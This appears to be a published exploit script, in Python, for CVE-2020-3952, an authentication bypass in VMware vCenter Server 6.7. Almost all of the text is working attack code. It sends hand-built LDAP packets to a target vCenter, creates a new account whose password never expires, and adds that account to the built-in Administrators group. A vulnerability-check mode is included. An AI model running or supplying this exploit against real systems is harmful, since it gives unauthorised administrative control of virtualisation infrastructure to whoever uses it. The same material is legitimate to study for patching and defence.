248 lines
No EOL
10 KiB
Text
248 lines
No EOL
10 KiB
Text
# Exploit Title: VMware vCenter Server 6.7 - Authentication Bypass
|
|
# Date: 2020-06-01
|
|
# Exploit Author: Photubias
|
|
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2020-0006.html
|
|
# Version: vCenter Server 6.7 before update 3f
|
|
# Tested on: vCenter Server Appliance 6.7 RTM (updated from v6.0)
|
|
# CVE: CVE-2020-3952
|
|
|
|
#!/usr/bin/env python3
|
|
|
|
'''
|
|
Copyright 2020 Photubias(c)
|
|
This program is free software: you can redistribute it and/or modify
|
|
it under the terms of the GNU General Public License as published by
|
|
the Free Software Foundation, either version 3 of the License, or
|
|
(at your option) any later version.
|
|
|
|
This program is distributed in the hope that it will be useful,
|
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
GNU General Public License for more details.
|
|
|
|
You should have received a copy of the GNU General Public License
|
|
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
|
|
Based (and reverse engineerd from): https://github.com/guardicore/vmware_vcenter_cve_2020_3952
|
|
|
|
File name CVE-2020-3592.py
|
|
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
|
|
|
|
## Vulnerable setup (requirements): vCenter Server 6.7 that was upgraded from 6.x
|
|
|
|
This is a native implementation without requirements, written in Python 3.
|
|
Works equally well on Windows as Linux (as MacOS, probably ;-)
|
|
|
|
Features: exploit + vulnerability checker
|
|
'''
|
|
|
|
import binascii, socket, sys, string, random
|
|
|
|
## Default vars; change at will
|
|
_sIP = '192.168.50.35'
|
|
_iPORT = 389
|
|
_iTIMEOUT = 5
|
|
|
|
def randomString(iStringLength=8):
|
|
#sLetters = string.ascii_lowercase
|
|
sLetters = string.ascii_letters
|
|
return ''.join(random.choice(sLetters) for i in range(iStringLength))
|
|
|
|
def getLengthPrefix(sData, sPrefix, hexBytes=1): ## sData is hexlified
|
|
## This will calculate the length of the string, and verify if an additional '81' or '82' prefix is needed
|
|
sReturn = sPrefix
|
|
if (len(sData) / 2 ) > 255:
|
|
sReturn += b'82'
|
|
hexBytes = 2
|
|
elif (len(sData) /2 ) >= 128:
|
|
sReturn += b'81'
|
|
sReturn += f"{int(len(sData)/2):#0{(hexBytes*2)+2}x}"[2:].encode()
|
|
return sReturn
|
|
|
|
def buildBindRequestPacket(sUser, sPass):
|
|
sUser = binascii.hexlify(sUser.encode())
|
|
sPass = binascii.hexlify(sPass.encode())
|
|
## Packet Construction
|
|
sPacket = getLengthPrefix(sPass, b'80') + sPass
|
|
sPacket = getLengthPrefix(sUser, b'04') + sUser + sPacket
|
|
sPacket = b'020103' + sPacket
|
|
sPacket = getLengthPrefix(sPacket, b'60') + sPacket
|
|
sPacket = b'020101' + sPacket
|
|
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
|
|
#print(sPacket)
|
|
return binascii.unhexlify(sPacket)
|
|
|
|
def buildUserCreatePacket(sUser, sPass):
|
|
sUser = binascii.hexlify(sUser.encode())
|
|
sPass = binascii.hexlify(sPass.encode())
|
|
def createAttribute(sName, sValue):
|
|
sValue = getLengthPrefix(sValue, b'04') + sValue
|
|
sName = getLengthPrefix(sName, b'04') + sName
|
|
|
|
sReturn = getLengthPrefix(sValue, b'31') + sValue
|
|
sReturn = sName + sReturn
|
|
sReturn = getLengthPrefix(sReturn, b'30') + sReturn
|
|
return sReturn
|
|
|
|
def createObjectClass():
|
|
sReturn = getLengthPrefix(binascii.hexlify(b'top'), b'04') + binascii.hexlify(b'top')
|
|
sReturn += getLengthPrefix(binascii.hexlify(b'person'), b'04') + binascii.hexlify(b'person')
|
|
sReturn += getLengthPrefix(binascii.hexlify(b'organizationalPerson'), b'04') + binascii.hexlify(b'organizationalPerson')
|
|
sReturn += getLengthPrefix(binascii.hexlify(b'user'), b'04') + binascii.hexlify(b'user')
|
|
|
|
sReturn = getLengthPrefix(sReturn, b'31') + sReturn
|
|
sReturn = getLengthPrefix(binascii.hexlify(b'objectClass'), b'04') + binascii.hexlify(b'objectClass') + sReturn
|
|
sReturn = getLengthPrefix(sReturn, b'30') + sReturn
|
|
return sReturn
|
|
|
|
## Attributes
|
|
sAttributes = createAttribute(binascii.hexlify(b'vmwPasswordNeverExpires'), binascii.hexlify(b'True'))
|
|
sAttributes += createAttribute(binascii.hexlify(b'userPrincipalName'), sUser + binascii.hexlify(b'@VSPHERE.LOCAL'))
|
|
sAttributes += createAttribute(binascii.hexlify(b'sAMAccountName'), sUser)
|
|
sAttributes += createAttribute(binascii.hexlify(b'givenName'), sUser)
|
|
sAttributes += createAttribute(binascii.hexlify(b'sn'), binascii.hexlify(b'vsphere.local'))
|
|
sAttributes += createAttribute(binascii.hexlify(b'cn'), sUser)
|
|
sAttributes += createAttribute(binascii.hexlify(b'uid'), sUser)
|
|
sAttributes += createObjectClass()
|
|
sAttributes += createAttribute(binascii.hexlify(b'userPassword'), sPass)
|
|
## CN
|
|
sCN = binascii.hexlify(b'cn=') + sUser + binascii.hexlify(b',cn=Users,dc=vsphere,dc=local')
|
|
sUserEntry = getLengthPrefix(sCN, b'04') + sCN
|
|
|
|
## Packet Assembly (bottom up)
|
|
sPacket = getLengthPrefix(sAttributes, b'30') + sAttributes
|
|
sPacket = sUserEntry + sPacket
|
|
sPacket = getLengthPrefix(sPacket, b'02010268', 2) + sPacket
|
|
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
|
|
#print(sPacket)
|
|
return binascii.unhexlify(sPacket)
|
|
|
|
def buildModifyUserPacket(sUser):
|
|
sFQDN = binascii.hexlify(('cn=' + sUser + ',cn=Users,dc=vsphere,dc=local').encode())
|
|
sCN = binascii.hexlify(b'cn=Administrators,cn=Builtin,dc=vsphere,dc=local')
|
|
sMember = binascii.hexlify(b'member')
|
|
## Packet Construction
|
|
sPacket = getLengthPrefix(sFQDN, b'04') + sFQDN
|
|
sPacket = getLengthPrefix(sPacket, b'31') + sPacket
|
|
sPacket = getLengthPrefix(sMember, b'04') + sMember + sPacket
|
|
sPacket = getLengthPrefix(sPacket, b'0a010030') + sPacket
|
|
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
|
|
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
|
|
sPacket = getLengthPrefix(sCN, b'04') + sCN + sPacket
|
|
sPacket = getLengthPrefix(sPacket, b'02010366') + sPacket
|
|
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
|
|
#print(sPacket)
|
|
return binascii.unhexlify(sPacket)
|
|
|
|
def performBind(s):
|
|
## Trying to bind, fails, but necessary (even fails when using correct credentials)
|
|
dPacket = buildBindRequestPacket('Administrator@vsphere.local','www.IC4.be')
|
|
s.send(dPacket)
|
|
sResponse = s.recv(1024)
|
|
try:
|
|
sResponse = sResponse.split(b'\x04\x00')[0][-1:]
|
|
sCode = binascii.hexlify(sResponse).decode()
|
|
if sCode == '31': print('[+] Ok, service reachable, continuing')
|
|
else: print('[-] Something went wrong')
|
|
except:
|
|
pass
|
|
return sCode
|
|
|
|
def performUserAdd(s, sUser, sPass):
|
|
dPacket = buildUserCreatePacket(sUser,sPass)
|
|
s.send(dPacket)
|
|
sResponse = s.recv(1024)
|
|
try:
|
|
sCode = sResponse.split(b'\x04\x00')[0][-1:]
|
|
sMessage = sResponse.split(b'\x04\x00')[1]
|
|
if sCode == b'\x00':
|
|
print('[+] Success! User ' + sUser + '@vsphere.local added with password ' + sPass)
|
|
elif sCode == b'\x32':
|
|
print('[-] Error, this host is not vulnerable (insufficientAccessRights)')
|
|
else:
|
|
if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
|
|
else: sMessage = sMessage[2:].decode()
|
|
print('[-] Error, user not added, message received: ' + sMessage)
|
|
except:
|
|
pass
|
|
return sCode
|
|
|
|
|
|
def performUserMod(s, sUser, verbose = True):
|
|
dPacket = buildModifyUserPacket(sUser)
|
|
s.send(dPacket)
|
|
sResponse = s.recv(1024)
|
|
try:
|
|
sCode = sResponse.split(b'\x04\x00')[0][-1:]
|
|
sMessage = sResponse.split(b'\x04\x00')[1]
|
|
if sCode == b'\x00':
|
|
if verbose: print('[+] User modification success (if the above is OK).')
|
|
else:
|
|
if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
|
|
else: sMessage = sMessage[2:].decode()
|
|
if verbose: print('[-] Error during modification, message received: ' + sMessage)
|
|
except:
|
|
pass
|
|
return sCode, sMessage
|
|
|
|
def performUnbind(s):
|
|
try: s.send(b'\x30\x05\x02\x01\x04\x42\x00')
|
|
except: pass
|
|
|
|
def main():
|
|
global _sIP, _iPORT, _iTIMEOUT
|
|
_sUSER = 'user_' + randomString(6)
|
|
_sPASS = randomString(8) + '_2020'
|
|
bAdduser = False
|
|
if len(sys.argv) == 1:
|
|
print('[!] No arguments found: python3 CVE-2020-3592.py <dstIP> [<newUsername>] [<newPassword>]')
|
|
print(' Example: ./CVE-2020-3592.py ' + _sIP + ' ' + _sUSER + ' ' + _sPASS)
|
|
print(' Leave username & password empty for a vulnerability check')
|
|
print(' Watch out for vCenter/LDAP password requirements, leave empty for random password')
|
|
print(' But for now, I will ask questions')
|
|
sAnswer = input('[?] Please enter the vCenter IP address [' + _sIP + ']: ')
|
|
if not sAnswer == '': _sIP = sAnswer
|
|
sAnswer = input('[?] Want to perform a check only? [Y/n]: ')
|
|
if sAnswer.lower() == 'n': bAdduser = True
|
|
if bAdduser:
|
|
sAnswer = input('[?] Please enter the new username to add [' + _sUSER + ']: ')
|
|
if not sAnswer == '': _sUSER = sAnswer
|
|
sAnswer = input('[?] Please enter the new password for this user [' + _sPASS + ']: ')
|
|
if not sAnswer == '': _sPASS = sAnswer
|
|
else:
|
|
_sIP = sys.argv[1]
|
|
if len(sys.argv) >= 3:
|
|
_sUSER = sys.argv[2]
|
|
bAdduser = True
|
|
if len(sys.argv) >= 4: _sPASS = sys.argv[3]
|
|
|
|
## MAIN
|
|
print('')
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.settimeout(_iTIMEOUT)
|
|
try:
|
|
s.connect((_sIP,_iPORT))
|
|
except:
|
|
print('[-] Error: Host ' + _sIP + ':' + str(_iPORT) + ' not reachable')
|
|
sys.exit(1)
|
|
|
|
performBind(s)
|
|
|
|
if bAdduser:
|
|
sCode = performUserAdd(s, _sUSER, _sPASS)
|
|
|
|
if not bAdduser:
|
|
print('[!] Checking vulnerability')
|
|
sCode, sMessage = performUserMod(s, 'Administrator', False)
|
|
if sCode == b'\x32': print('[-] This host is not vulnerable, message: ' + sMessage)
|
|
else: print('[+] This host is vulnerable!')
|
|
else:
|
|
sCode = performUserMod(s, _sUSER)
|
|
|
|
performUnbind(s)
|
|
|
|
s.close()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main() |